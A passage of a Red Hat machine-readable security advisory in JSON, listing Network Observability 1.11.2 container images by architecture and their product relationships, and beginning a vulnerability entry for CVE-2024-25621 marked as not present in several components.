"product_id": "registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-cli-rhel9@sha256%3A472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d?arch=ppc64le\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771226060"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"product_id": "registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-console-plugin-compat-rhel9@sha256%3A7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab?arch=ppc64le\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771227610"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"product_id": "registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-console-plugin-rhel9@sha256%3A3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2?arch=ppc64le\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771227650"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"product_id": "registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-rhel9-operator@sha256%3A9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76?arch=ppc64le\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771230433"
}
}
}
],
"category": "architecture",
"name": "ppc64le"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"product_id": "registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-flowlogs-pipeline-rhel9@sha256%3A8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d?arch=s390x\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771229282"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"product_id": "registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-ebpf-agent-rhel9@sha256%3A619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7?arch=s390x\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771226629"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"product_id": "registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-cli-rhel9@sha256%3A9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461?arch=s390x\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771226060"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"product_id": "registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-console-plugin-compat-rhel9@sha256%3A325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870?arch=s390x\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771227610"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"product_id": "registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-console-plugin-rhel9@sha256%3Abb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6?arch=s390x\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771227650"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"product_id": "registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-rhel9-operator@sha256%3A3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f?arch=s390x\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771230433"
}
}
}
],
"category": "architecture",
"name": "s390x"
}
],
"category": "vendor",
"name": "Red Hat"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64 as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64 as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64 as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64 as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64 as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64 as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64 as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64 as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64 as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64 as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64 as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64 as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64 as a component of Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
},
"product_reference": "registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64",
"relates_to_product_reference": "Network Observability (NETOBSERV) 1.11.2"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2024-25621",
"cwe": {
"id": "CWE-279",
"name": "Incorrect Execution-Assigned Permissions"
},
"discovery_date": "2025-11-06T19:01:04.402278+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
